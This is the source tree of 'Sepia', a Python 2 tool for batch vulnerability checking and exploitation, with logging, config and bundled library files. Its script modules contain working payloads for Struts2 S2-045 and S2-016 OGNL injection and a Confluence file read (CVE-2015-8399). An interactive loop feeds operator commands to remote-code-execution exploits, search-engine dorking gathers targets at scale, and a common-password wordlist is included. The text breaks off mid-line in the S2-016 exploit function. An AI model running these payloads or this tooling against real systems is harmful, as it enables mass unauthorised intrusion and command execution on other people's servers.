├── .gitignore ├── lib ├── __init__.py ├── api │ ├── __init__.py │ ├── baidu │ │ ├── __init__.py │ │ └── pack.py │ └── zoomeye │ │ ├── __init__.py │ │ ├── pack.py │ │ └── base.py ├── utils │ ├── __init__.py │ ├── versioncheck.py │ ├── config.py │ ├── expfunctions.py │ └── console.py ├── controller │ ├── __init__.py │ ├── api.py │ ├── loader.py │ └── engine.py ├── core │ ├── __init__.py │ ├── data.py │ ├── exception.py │ ├── enums.py │ ├── settings.py │ ├── convert.py │ ├── log.py │ ├── datatype.py │ ├── register.py │ ├── option.py │ └── common.py ├── parse │ ├── __init__.py │ └── cmdline.py └── cli.py ├── plugin ├── __init__.py ├── extracts.py ├── useragent.py ├── cloudeye.py ├── util.py └── static.py ├── script ├── __init__.py ├── _script_test.py ├── atlassian_confluence_file_read.py ├── struts2_045_rce.py ├── struts2_016_get_rce.py ├── elasticsearch_groovy_rce.py └── cactiez_weathermap_file_write.py ├── thirdparty ├── IPy │ └── __init__.py ├── __init__.py ├── ansistrm │ ├── __init__.py │ └── ansistrm.py ├── colorama │ ├── __init__.py │ ├── ansi.py │ ├── initialise.py │ ├── win32.py │ ├── winterm.py │ └── ansitowin32.py ├── prettytable │ └── __init__.py ├── termcolor │ ├── __init__.py │ └── termcolor.py ├── odict │ └── __init__.py └── httplib2 │ ├── iri2uri.py │ └── socks.py ├── toolkit.conf ├── sepia.py ├── data ├── pass100.txt └── pass1000.txt ├── README.md └── LICENSE /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | -------------------------------------------------------------------------------- /lib/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- -------------------------------------------------------------------------------- /lib/api/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- -------------------------------------------------------------------------------- /lib/utils/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- -------------------------------------------------------------------------------- /plugin/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- -------------------------------------------------------------------------------- /lib/api/baidu/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- -------------------------------------------------------------------------------- /lib/controller/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- -------------------------------------------------------------------------------- /lib/core/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- -------------------------------------------------------------------------------- /lib/parse/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | -------------------------------------------------------------------------------- /script/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | -------------------------------------------------------------------------------- /lib/api/zoomeye/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- -------------------------------------------------------------------------------- /thirdparty/IPy/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- -------------------------------------------------------------------------------- /thirdparty/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | -------------------------------------------------------------------------------- /thirdparty/ansistrm/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- -------------------------------------------------------------------------------- /thirdparty/colorama/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- -------------------------------------------------------------------------------- /thirdparty/prettytable/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- -------------------------------------------------------------------------------- /thirdparty/termcolor/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- -------------------------------------------------------------------------------- /toolkit.conf: -------------------------------------------------------------------------------- 1 | [zoomeye] 2 | email: 3 | password: 4 | 5 | [urlfilter] 6 | regex: 7 | -------------------------------------------------------------------------------- /script/_script_test.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | _type = 'RCE' 4 | """ 5 | 测试用例 6 | """ 7 | 8 | import random 9 | import time 10 | 11 | def poc(str): 12 | time.sleep(3) 13 | if random.randint(1, 10) > 5: 14 | return True 15 | return False 16 | 17 | def exp(str, command): 18 | print "Exploit moudle test." -------------------------------------------------------------------------------- /sepia.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | ''' 4 | Sepia是在POC-T的基础上修改并改进的一款集PoC验证和漏洞攻击的内部安全团队工具 5 | 感谢POC-T项目:https://github.com/Xyntax/POC-T 6 | 感谢原作者@cdxy:https://www.cdxy.me 7 | ''' 8 | import sys 9 | sys.dont_write_bytecode = True 10 | 11 | from lib.utils import versioncheck # 进行版本检查 12 | from lib.cli import main #导入主函数模块 13 | 14 | if __name__ == '__main__': 15 | main() -------------------------------------------------------------------------------- /lib/core/data.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | 4 | from lib.core.log import MY_LOGGER 5 | from lib.core.datatype import AttribDict 6 | 7 | logger = MY_LOGGER 8 | 9 | paths = AttribDict() #定义新字典对象paths 10 | 11 | cmdLineOptions = AttribDict() #定义新字典对象cmdLineOptions 12 | 13 | conf = AttribDict() #定义新字典对象conf 14 | 15 | th = AttribDict() #定义新字典对象th 16 | 17 | targetlist = [] #用来存储扫描结果 -------------------------------------------------------------------------------- /lib/utils/versioncheck.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | 4 | """ 5 | Use as 'from lib.utils import versioncheck' 6 | It has to be the first non-standard import before your project enter main() function 7 | """ 8 | 9 | import sys 10 | 11 | PYVERSION = sys.version.split()[0] 12 | 13 | if PYVERSION >= "3" or PYVERSION < "2.7": 14 | exit("[CRITICAL] incompatible Python version detected ('%s'). " 15 | "For successfully running this project, you'll have to use version 2.7" 16 | "(visit 'http://www.python.org/download/')" % PYVERSION) 17 | -------------------------------------------------------------------------------- /script/atlassian_confluence_file_read.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | _type = 'FR' 4 | """ 5 | Atlassian Confluence config file read POC [CVE-2015-8399] 6 | 7 | reference: 8 | http://zone.wooyun.org/content/27104 9 | http://www.cnnvd.org.cn/vulnerability/show/cv_id/2016010311 10 | https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-8399 11 | 12 | """ 13 | 14 | import requests 15 | 16 | def poc(url): 17 | try: 18 | if '://' not in url: 19 | url = 'http://' + url 20 | payloads = ['/spaces/viewdefaultdecorator.action?decoratorName='] 21 | for each in payloads: 22 | if '.properties' in requests.get(url=url + each).content: 23 | return True 24 | return False 25 | except Exception, e: 26 | return False 27 | 28 | def exp(url): 29 | pass 30 | -------------------------------------------------------------------------------- /lib/utils/config.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | 4 | import ConfigParser 5 | from lib.core.data import paths, logger 6 | from lib.core.common import getSafeExString 7 | 8 | 9 | class ConfigFileParser: 10 | @staticmethod 11 | def _get_option(section, option): 12 | try: 13 | cf = ConfigParser.ConfigParser() 14 | cf.read(paths.CONFIG_PATH) 15 | return cf.get(section=section, option=option) 16 | except ConfigParser.NoOptionError, e: 17 | logger.warning('Missing essential options, please check your config-file') 18 | logger.error(getSafeExString(e)) 19 | return '' 20 | 21 | def ZoomEyeEmail(self): 22 | return self._get_option('zoomeye', 'email') 23 | 24 | def ZoomEyePassword(self): 25 | return self._get_option('zoomeye', 'password') 26 | 27 | def UrlFilter(self): 28 | return self._get_option('urlfilter', 'regex') 29 | -------------------------------------------------------------------------------- /lib/core/exception.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | 4 | class ToolkitBaseException(Exception): 5 | pass 6 | 7 | 8 | class ToolkitConnectionException(Exception): 9 | pass 10 | 11 | 12 | class ToolkitDataException(ToolkitBaseException): 13 | pass 14 | 15 | 16 | class ToolkitMissingPrivileges(ToolkitBaseException): 17 | pass 18 | 19 | 20 | class ToolkitUserQuitException(ToolkitBaseException): 21 | pass 22 | 23 | 24 | class ToolkitSystemException(ToolkitBaseException): 25 | pass 26 | 27 | 28 | class ToolkitValueException(ToolkitBaseException): 29 | pass 30 | 31 | 32 | class ToolkitPluginException(ToolkitBaseException): 33 | pass 34 | 35 | 36 | class RegisterException(Exception): 37 | pass 38 | 39 | 40 | class RegisterValueException(RegisterException): 41 | pass 42 | 43 | 44 | class RegisterDataException(RegisterException): 45 | pass 46 | 47 | 48 | class RegisterMutexException(RegisterException): 49 | pass 50 | -------------------------------------------------------------------------------- /lib/core/enums.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | 4 | class CUSTOM_LOGGING: 5 | SYSINFO = 9 6 | SUCCESS = 8 7 | ERROR = 7 8 | WARNING = 6 9 | 10 | 11 | class CONTENT_STATUS: 12 | IN_PROGRESS = 0 13 | COMPLETE = 1 14 | 15 | 16 | class EXIT_STATUS: 17 | SYSETM_EXIT = 0 18 | ERROR_EXIT = 1 19 | USER_QUIT = 2 20 | 21 | 22 | class POC_RESULT_STATUS: 23 | FAIL = 0 24 | SUCCESS = 1 25 | RETRAY = 2 26 | 27 | 28 | class API_MODE_NAME: 29 | ZOOMEYE = 'ZoomEye' 30 | BAIDU = 'Baidu' 31 | 32 | 33 | class TARGET_MODE_STATUS: 34 | FILE = 9 35 | SINGLE = 8 36 | IPMASK = 7 37 | RANGE = 6 38 | API = 5 39 | 40 | 41 | class ENGINE_MODE_STATUS: 42 | THREAD = 9 43 | GEVENT = 8 44 | 45 | 46 | class PROXY_TYPE: # keep same with SocksiPy(import socks) 47 | PROXY_TYPE_SOCKS4 = SOCKS4 = 1 48 | PROXY_TYPE_SOCKS5 = SOCKS5 = 2 49 | PROXY_TYPE_HTTP = HTTP = 3 50 | PROXY_TYPE_HTTP_NO_TUNNEL = 4 51 | -------------------------------------------------------------------------------- /script/struts2_045_rce.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | # author = S4kur4 4 | _type = 'RCE' 5 | """ 6 | Struts2 S2-045 Remote Code Execution PoC (CVE-2017-5638) 7 | 8 | Version: 9 | 2.3.5-2.3.31, 2.5-2.5.10 10 | """ 11 | 12 | import requests 13 | import random 14 | 15 | header = { 16 | "User-Agent" : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:46.0) Gecko/20100101 Firefox/46.0", 17 | "Connection" : "keep-alive", 18 | "Accept" : "*/*", 19 | "Accept-Encoding" : "deflate", 20 | "Accept-Language" : "zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4" 21 | } 22 | 23 | def poc(url): 24 | if '://' not in url: 25 | url = 'http://' + url 26 | try: 27 | header["Content-Type"] = "%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vul','vul')}.multipart/form-data" 28 | response = requests.get(url=url, headers=header, timeout=5) 29 | if "vul:vul" in response.text: 30 | return True 31 | else: 32 | return False 33 | except Exception: 34 | return False 35 | 36 | def exp(): 37 | pass 38 | 39 | -------------------------------------------------------------------------------- /thirdparty/colorama/ansi.py: -------------------------------------------------------------------------------- 1 | ''' 2 | This module generates ANSI character codes to printing colors to terminals. 3 | See: http://en.wikipedia.org/wiki/ANSI_escape_code 4 | ''' 5 | 6 | CSI = '\033[' 7 | 8 | def code_to_chars(code): 9 | return CSI + str(code) + 'm' 10 | 11 | class AnsiCodes(object): 12 | def __init__(self, codes): 13 | for name in dir(codes): 14 | if not name.startswith('_'): 15 | value = getattr(codes, name) 16 | setattr(self, name, code_to_chars(value)) 17 | 18 | class AnsiFore: 19 | BLACK = 30 20 | RED = 31 21 | GREEN = 32 22 | YELLOW = 33 23 | BLUE = 34 24 | MAGENTA = 35 25 | CYAN = 36 26 | WHITE = 37 27 | RESET = 39 28 | 29 | class AnsiBack: 30 | BLACK = 40 31 | RED = 41 32 | GREEN = 42 33 | YELLOW = 43 34 | BLUE = 44 35 | MAGENTA = 45 36 | CYAN = 46 37 | WHITE = 47 38 | RESET = 49 39 | 40 | class AnsiStyle: 41 | BRIGHT = 1 42 | DIM = 2 43 | NORMAL = 22 44 | RESET_ALL = 0 45 | 46 | Fore = AnsiCodes( AnsiFore ) 47 | Back = AnsiCodes( AnsiBack ) 48 | Style = AnsiCodes( AnsiStyle ) 49 | 50 | -------------------------------------------------------------------------------- /lib/utils/expfunctions.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | 4 | import sys 5 | from lib.core.data import logger 6 | 7 | def rce(exp, url): # Remote code excute 8 | logger.info("Input system command to execute or print 'q' to exit") 9 | command = raw_input("\033[4mCommand\033[0m > ") 10 | while command != "q": 11 | try: 12 | exp(url, command) 13 | except Exception, e: 14 | msg = "Command execution error" 15 | sys.exit(logger.error(msg)) 16 | break 17 | command = raw_input("\033[4mCommand\033[0m > ") 18 | 19 | def fr(exp, url): # File read 20 | exp(url) 21 | logger.warning("Please use other tools to exploit this vulnerability. Exit exploit mode") 22 | 23 | def fw(exp, url): # File write 24 | exp(url) 25 | 26 | def lfi(exp, url): # Local file include 27 | exp(url) 28 | logger.warning("Please use other tools to exploit this vulnerability. Exit exploit mode") 29 | 30 | def rfi(exp, url): # Remote file include 31 | exp(url) 32 | logger.warning("Please use other tools to exploit this vulnerability. Exit exploit mode") 33 | 34 | def sqli(exp, url): # SQL injection 35 | exp(url) 36 | -------------------------------------------------------------------------------- /lib/api/zoomeye/pack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | 4 | import sys 5 | from lib.api.zoomeye.base import ZoomEye 6 | from lib.core.data import logger 7 | 8 | 9 | def _initial(): 10 | z = ZoomEye() 11 | z.auto_login() 12 | info = z.resources_info()['resources'] 13 | if info: 14 | msg = 'Available ZoomEye search: (web:%s,host:%s)' % (info['web-search'], info['host-search']) 15 | logger.info(msg) 16 | else: 17 | msg = 'ZoomEye API authorization failed, Please re-run it and enter a new token.' 18 | sys.exit(logger.error(msg)) 19 | return z 20 | 21 | 22 | def ZoomEyeSearch(query, limit, type='host', offset=0): 23 | z = _initial() 24 | ans = [] 25 | limit += offset 26 | for page_n in range(int(offset / 10), int((limit + 10 - 1) / 10)): 27 | data = z.dork_search(query, resource=type, page=page_n) 28 | if data: 29 | for i in data: 30 | ip_str = i.get('ip') 31 | if 'portinfo' in i: 32 | ip_str = ip_str + ':' + str(i.get('portinfo').get('port')) 33 | ans.append(ip_str) 34 | else: 35 | break 36 | return ans 37 | -------------------------------------------------------------------------------- /lib/controller/api.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | 4 | import os 5 | import time 6 | from lib.core.data import conf, logger 7 | from lib.core.exception import ToolkitValueException 8 | from lib.core.enums import API_MODE_NAME 9 | from lib.api.zoomeye.pack import ZoomEyeSearch 10 | from lib.api.baidu.pack import BaiduSearch 11 | 12 | 13 | def runApi(): 14 | output = conf.API_OUTPUT 15 | dork = conf.API_DORK 16 | limit = conf.API_LIMIT 17 | logger.info('Activate %s API' % conf.API_MODE) 18 | if conf.API_MODE is API_MODE_NAME.ZOOMEYE: 19 | anslist = ZoomEyeSearch(query=dork, limit=limit, type=conf.ZOOMEYE_SEARCH_TYPE, offset=conf.API_OFFSET) 20 | elif conf.API_MODE is API_MODE_NAME.BAIDU: 21 | anslist = BaiduSearch(query=dork, limit=limit, offset=conf.API_OFFSET) 22 | else: 23 | raise ToolkitValueException('Unknown API mode') 24 | 25 | tmpIpFile = os.path.join(output, '%s.txt' % (time.strftime('%Y%m%d%H%M%S'))) 26 | with open(tmpIpFile, 'w') as fp: 27 | for each in anslist: 28 | if isinstance(each, list): # for ZoomEye web type 29 | each = each[0] 30 | fp.write(each + '\n') 31 | return tmpIpFile 32 | -------------------------------------------------------------------------------- /lib/core/settings.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | 5 | import os 6 | import subprocess 7 | 8 | VERSION = '1.2.3#dev' 9 | PROJECT = "Sepia" 10 | PLATFORM = os.name 11 | IS_WIN = subprocess.mswindows #判断当前环境是否为Windows 12 | 13 | # essential methods/functions in custom scripts/PoC (such as function poc()) 14 | ESSENTIAL_MODULE_METHODS = ['poc'] 15 | # optional methods/functions in custom scripts/PoC (such as function poc()) 16 | OPTIONAL_MOUDLE_METHODS = ['exp'] 17 | # Encoding used for Unicode data 18 | UNICODE_ENCODING = "utf-8" 19 | # String representation for NULL value 20 | NULL = "NULL" 21 | # Format used for representing invalid unicode characters 22 | INVALID_UNICODE_CHAR_FORMAT = r"\x%02x" 23 | 24 | ISSUES_PAGE = "https://github.com/Xyntax/POC-T/issues" 25 | GIT_REPOSITORY = "git://github.com/Xyntax/POC-T.git" 26 | GIT_PAGE = "https://github.com/Xyntax/POC-T" 27 | 28 | BANNER = """\033[01;33m _ 29 | ___ ___ _ __\033[01;31m(¯ω¯)\033[01;33m __ _ \033[01;37m{\033[01;33m%s\033[01;37m}\033[01;33m 30 | / __|/ _ \ '_ \| |/ _` | 31 | \__ \ __/ |_) | | (_| | 32 | |___/\___| .__/|_|\__,_| \033[07;33;41mPoC|Exploit\033[0m\033[01;33m 33 | |_| 34 | \033[0m\n""" % VERSION -------------------------------------------------------------------------------- /thirdparty/odict/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # The BSD License 4 | # 5 | # Copyright 2003-2008 Nicola Larosa, Michael Foord 6 | # 7 | # Permission is hereby granted, free of charge, to any person obtaining a copy 8 | # of this software and associated documentation files (the "Software"), to deal 9 | # in the Software without restriction, including without limitation the rights 10 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 11 | # copies of the Software, and to permit persons to whom the Software is 12 | # furnished to do so, subject to the following conditions: 13 | # 14 | # The above copyright notice and this permission notice shall be included in 15 | # all copies or substantial portions of the Software. 16 | # 17 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 22 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 23 | # THE SOFTWARE. 24 | # 25 | 26 | pass 27 | -------------------------------------------------------------------------------- /lib/core/convert.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | 4 | import sys 5 | from lib.core.settings import IS_WIN, UNICODE_ENCODING 6 | 7 | 8 | def singleTimeWarnMessage(message): # Cross-linked function 9 | sys.stdout.write(message) 10 | sys.stdout.write("\n") 11 | sys.stdout.flush() 12 | 13 | 14 | def stdoutencode(data): 15 | retVal = None 16 | 17 | try: 18 | data = data or "" 19 | 20 | # Reference: http://bugs.python.org/issue1602 21 | if IS_WIN: 22 | output = data.encode(sys.stdout.encoding, "replace") 23 | 24 | if '?' in output and '?' not in data: 25 | warnMsg = "cannot properly display Unicode characters " 26 | warnMsg += "inside Windows OS command prompt " 27 | warnMsg += "(http://bugs.python.org/issue1602). All " 28 | warnMsg += "unhandled occurances will result in " 29 | warnMsg += "replacement with '?' character. Please, find " 30 | warnMsg += "proper character representation inside " 31 | warnMsg += "corresponding output files. " 32 | singleTimeWarnMessage(warnMsg) 33 | 34 | retVal = output 35 | else: 36 | retVal = data.encode(sys.stdout.encoding) 37 | except Exception: 38 | retVal = data.encode(UNICODE_ENCODING) if isinstance(data, unicode) else data 39 | 40 | return retVal 41 | -------------------------------------------------------------------------------- /thirdparty/colorama/initialise.py: -------------------------------------------------------------------------------- 1 | import atexit 2 | import sys 3 | 4 | from .ansitowin32 import AnsiToWin32 5 | 6 | 7 | orig_stdout = sys.stdout 8 | orig_stderr = sys.stderr 9 | 10 | wrapped_stdout = sys.stdout 11 | wrapped_stderr = sys.stderr 12 | 13 | atexit_done = False 14 | 15 | 16 | def reset_all(): 17 | AnsiToWin32(orig_stdout).reset_all() 18 | 19 | 20 | def init(autoreset=False, convert=None, strip=None, wrap=True): 21 | 22 | if not wrap and any([autoreset, convert, strip]): 23 | raise ValueError('wrap=False conflicts with any other arg=True') 24 | 25 | global wrapped_stdout, wrapped_stderr 26 | sys.stdout = wrapped_stdout = \ 27 | wrap_stream(orig_stdout, convert, strip, autoreset, wrap) 28 | sys.stderr = wrapped_stderr = \ 29 | wrap_stream(orig_stderr, convert, strip, autoreset, wrap) 30 | 31 | global atexit_done 32 | if not atexit_done: 33 | atexit.register(reset_all) 34 | atexit_done = True 35 | 36 | 37 | def deinit(): 38 | sys.stdout = orig_stdout 39 | sys.stderr = orig_stderr 40 | 41 | 42 | def reinit(): 43 | sys.stdout = wrapped_stdout 44 | sys.stderr = wrapped_stdout 45 | 46 | 47 | def wrap_stream(stream, convert, strip, autoreset, wrap): 48 | if wrap: 49 | wrapper = AnsiToWin32(stream, 50 | convert=convert, strip=strip, autoreset=autoreset) 51 | if wrapper.should_wrap(): 52 | stream = wrapper.stream 53 | return stream 54 | 55 | 56 | -------------------------------------------------------------------------------- /data/pass100.txt: -------------------------------------------------------------------------------- 1 | 123456789 2 | a123456 3 | 123456 4 | a123456789 5 | 1234567890 6 | woaini1314 7 | qq123456 8 | abc123456 9 | 123456a 10 | 123456789a 11 | 147258369 12 | zxcvbnm 13 | 987654321 14 | 12345678910 15 | abc123 16 | qq123456789 17 | 123456789. 18 | 7708801314520 19 | woaini 20 | 5201314520 21 | q123456 22 | 123456abc 23 | 1233211234567 24 | 123123123 25 | 123456. 26 | 0123456789 27 | asd123456 28 | aa123456 29 | 135792468 30 | q123456789 31 | abcd123456 32 | 12345678900 33 | woaini520 34 | woaini123 35 | zxcvbnm123 36 | 1111111111111111 37 | w123456 38 | aini1314 39 | abc123456789 40 | 111111 41 | woaini521 42 | qwertyuiop 43 | 1314520520 44 | 1234567891 45 | qwe123456 46 | asd123 47 | 000000 48 | 1472583690 49 | 1357924680 50 | 789456123 51 | 123456789abc 52 | z123456 53 | 1234567899 54 | aaa123456 55 | abcd1234 56 | www123456 57 | 123456789q 58 | 123abc 59 | qwe123 60 | w123456789 61 | 7894561230 62 | 123456qq 63 | zxc123456 64 | 123456789qq 65 | 1111111111 66 | 111111111 67 | 0000000000000000 68 | 1234567891234567 69 | qazwsxedc 70 | qwerty 71 | 123456.. 72 | zxc123 73 | asdfghjkl 74 | 0000000000 75 | 1234554321 76 | 123456q 77 | 123456aa 78 | 9876543210 79 | 110120119 80 | qaz123456 81 | qq5201314 82 | 123698745 83 | 5201314 84 | 000000000 85 | as123456 86 | 123123 87 | 5841314520 88 | z123456789 89 | 52013145201314 90 | a123123 91 | caonima 92 | a5201314 93 | wang123456 94 | abcd123 95 | 123456789.. 96 | woaini1314520 97 | 123456asd 98 | aa123456789 99 | 741852963 100 | a12345678 -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Sepia-乌贼 2 | [![Python 2.7](https://img.shields.io/badge/python-2.7-red.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-blue.svg)](https://github.com/S4kur4/Sepia/blob/master/LICENSE) 3 | 4 | Sepia(乌贼)是一款集PoC批量验证和漏洞攻击的渗透测试工具,能满足漏洞爆发时快速对资产状况进行查证的需求。 5 | 6 | 7 | 8 | ## 一些说明 9 | Sepia是在POC-T的基础上做了精简、改进而成的,因此首先要感谢@cdxy的POC-T项目:[POC-T](https://github.com/Xyntax/POC-T)。 10 | 11 | 与POC-T相比,Sepia有以下一些变化: 12 | 13 | **1. 数据搜集方式的变化** 14 | 15 | 去掉了Google dork、Shodan dork,只保留了Zoomeye dork,增加了Baidu dork(URL爬虫)。 16 | 17 | **2. 增加了URL正则抓取定制功能** 18 | 19 | 一些Web应用程序的漏洞其对应的URL可能千变万化,仅利用@cdxy批量[规范URL的方法](https://www.cdxy.me/?p=640)会降低验证效率,因此Sepia在toolkit文件中增加了正则定制项`urlfilter`,通过配合百度URL爬虫,能大大提升抓取和验证的效率。 20 | 21 | **3. 改变了一些输出显示** 22 | 23 | Sepia去掉了POC-T导出到文件的功能,引入`prettytable`直接将结果做成表格显示在终端。 24 | 25 | **4. 脚本编写要求的变化** 26 | 27 | 由于Sepia含有漏洞的攻击功能,但各种漏洞的攻击方式会有很大差异,目前已经基本确定了Sepia的脚本编写规则和标准,这应该是和POC-T有比较大区别的地方。 28 | 29 | **总之,POC-T专注的是并发批量处理任务,而Sepia只专注高效批量PoC验证并能对单个目标实施攻击。** 30 | 31 | ## Wiki 32 | 33 | * [使用举例](https://github.com/S4kur4/Sepia/wiki/使用举例) 34 | * [参数说明](https://github.com/S4kur4/Sepia/wiki/参数说明) 35 | * [脚本编写规则](https://github.com/S4kur4/Sepia/wiki/脚本编写规则) 36 | * [脚本库](https://github.com/S4kur4/Sepia/wiki/脚本库) 37 | 38 | ## 后话 39 | 40 | Sepia还处于开发版本阶段,有任何问题烦请发邮件至:[s4kur4s4kur4@gmail.com](mailto:s4kur4s4kur4@gmail.com?Subject=Hello%20S4kur4)。 41 | 42 | **2017年10月29日更新**:由于ZoomEye方面一直处于升级更新状态,近期本来想完善Sepia的ZoomEye Dork代码,但ZoomEye的API迟迟未开放导致不能继续完善。暂时我先慢慢扩充脚本库吧。 43 | 44 | **2018年7月18日更新**: 离开了大半年,发生了很多事,近期回归。 45 | -------------------------------------------------------------------------------- /lib/core/log.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | 4 | import logging 5 | import sys 6 | 7 | from lib.core.enums import CUSTOM_LOGGING 8 | 9 | logging.addLevelName(CUSTOM_LOGGING.SYSINFO, "*") 10 | logging.addLevelName(CUSTOM_LOGGING.SUCCESS, "+") 11 | logging.addLevelName(CUSTOM_LOGGING.ERROR, "-") 12 | logging.addLevelName(CUSTOM_LOGGING.WARNING, "!") 13 | 14 | LOGGER = logging.getLogger("TookitLogger") 15 | 16 | LOGGER_HANDLER = None 17 | try: 18 | from thirdparty.ansistrm.ansistrm import ColorizingStreamHandler 19 | 20 | try: 21 | LOGGER_HANDLER = ColorizingStreamHandler(sys.stdout) 22 | LOGGER_HANDLER.level_map[logging.getLevelName("*")] = (None, "cyan", False) 23 | LOGGER_HANDLER.level_map[logging.getLevelName("+")] = (None, "green", False) 24 | LOGGER_HANDLER.level_map[logging.getLevelName("-")] = (None, "red", False) 25 | LOGGER_HANDLER.level_map[logging.getLevelName("!")] = (None, "yellow", False) 26 | except Exception: 27 | LOGGER_HANDLER = logging.StreamHandler(sys.stdout) 28 | 29 | except ImportError: 30 | LOGGER_HANDLER = logging.StreamHandler(sys.stdout) 31 | 32 | FORMATTER = logging.Formatter("\r[%(levelname)s] %(message)s", "%H:%M:%S") 33 | 34 | LOGGER_HANDLER.setFormatter(FORMATTER) 35 | LOGGER.addHandler(LOGGER_HANDLER) 36 | LOGGER.setLevel(CUSTOM_LOGGING.WARNING) 37 | 38 | 39 | class MY_LOGGER: 40 | @staticmethod 41 | def success(msg): 42 | return LOGGER.log(CUSTOM_LOGGING.SUCCESS, msg) 43 | 44 | @staticmethod 45 | def info(msg): 46 | return LOGGER.log(CUSTOM_LOGGING.SYSINFO, msg) 47 | 48 | @staticmethod 49 | def warning(msg): 50 | return LOGGER.log(CUSTOM_LOGGING.WARNING, msg) 51 | 52 | @staticmethod 53 | def error(msg): 54 | return LOGGER.log(CUSTOM_LOGGING.ERROR, msg) 55 | -------------------------------------------------------------------------------- /script/struts2_016_get_rce.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | # author = S4kur4 4 | _type = 'RCE' 5 | """ 6 | Struts2 S2-016 Remote Code Execution PoC (CVE-2013-2251) 7 | 8 | Version: 9 | 2.0.0-2.3.15 10 | """ 11 | 12 | import requests 13 | import random 14 | 15 | header = { 16 | "User-Agent" : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:46.0) Gecko/20100101 Firefox/46.0", 17 | "Connection" : "keep-alive", 18 | "Accept" : "*/*", 19 | "Accept-Encoding" : "deflate", 20 | "Accept-Language" : "zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4" 21 | } 22 | 23 | def poc(url): 24 | if '://' not in url: 25 | url = 'http://' + url 26 | try: 27 | a = random.randint(100, 200) 28 | b = random.randint(100, 200) 29 | c = a * b 30 | url = url + "?redirect:%25{" + "%s*%s}" % (str(a), str(b)) 31 | response = requests.get(url=url, headers=header, timeout=5) 32 | if str(c) in response.text and response.status_code == 404: 33 | return True 34 | else: 35 | return False 36 | except Exception: 37 | return False 38 | 39 | def exp(url, command): 40 | url = url + 